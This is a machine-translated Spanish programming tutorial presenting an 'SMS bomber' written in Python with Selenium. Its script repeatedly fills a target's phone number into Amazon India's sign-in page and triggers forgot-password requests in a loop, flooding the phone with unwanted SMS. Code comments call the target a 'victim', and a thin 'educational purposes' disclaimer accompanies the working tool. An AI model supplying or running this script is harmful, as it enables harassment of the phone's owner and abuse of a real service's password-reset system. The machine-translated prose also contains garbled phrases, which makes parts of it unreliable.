Mini proyecto de base de selenium usando Python

Descripción del proyecto: – Aquí, vamos a estudiar un simple truco de bombardero de SMS (con fines educativos y divertidos). Selenium es una herramienta gratuita para pruebas automatizadas en navegadores excepcionales. En este tutorial, aprenderemos cómo enviar automáticamente un rango de SMS de correo no solicitado para una variedad dada de frecuencia e intervalo.

Requisito:

Debe instalar Chromedriver y configurar la ruta. Haga clic aquí para descargar. Para obtener más información, siga este enlace .

A continuación se muestran los pasos:

  1. Primero vaya al sitio web de Amazon usando este enlace .
  2. Luego haga clic en investigar el elemento presionando ctrl + shift + i de forma urgente o acceda a la configuración del navegador y haga clic en investigar detalles manualmente.
  3. Luego navegue por el cuadro donde se completa el número de teléfono móvil del amigo y luego copie el x_path.
  4. Luego navegue el botón continuar y luego copie x_path.
  5. Luego navegue por Olvidar contraseña y luego copie x_path.
  6. Luego, de nuevo, repita el paso 3.
  7. Luego, de nuevo, repita el paso 4.

Dada una captura de pantalla para seguir esta instrucción paso a paso:

Paso 1-

Paso 2-

Paso 3-

Paso 4-

Paso 5-

Paso 6-

Ahora, ejecute el script colocando x_path adecuado y envíe automáticamente sms de correo no deseado al número de teléfono celular de su amigo.

Nota: Este tutorial es solo para fines educativos, por favor no lo use para molestar a nadie ni de ninguna manera poco ética.

A continuación se muestra la implementación:

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
for i in range(20):
    # create instance of Chrome webdriver
    driver=webdriver.Chrome() 
    driver.get("https://www.amazon.in/ap/signin?openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.in%2Fgp%2Fcss%2Fhomepage.html%3Ffrom%3Dhz%26ref_%3Dnav_signin&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.assoc_handle=inflex&openid.mode=checkid_setup&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&")
  
    # find the element where we have to  
    # enter the xpath
    # target mobile number, change it to victim's number and 
    # also ensure that it's registered on flipkart
  
    driver.find_element_by_xpath('//*[@id="ap_email"]').send_keys('xxxx6126')
    # find the element continue 
    # request using xpath 
    # clicking on that element 
  
    driver.find_element_by_xpath('//*[@id="continue"]').click()
    # find the element to send a forgot password 
    # request using xpath 
  
    driver.find_element_by_xpath('//*[@id="auth-fpp-link-bottom"]').click()
    driver.find_element_by_xpath('//*[@id="continue"]').click()
  
    # set the interval to send each sms
    time.sleep(4)
  
    # Close the browser
    driver.close()

Publicación traducida automáticamente

Artículo escrito por praveeny182 y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *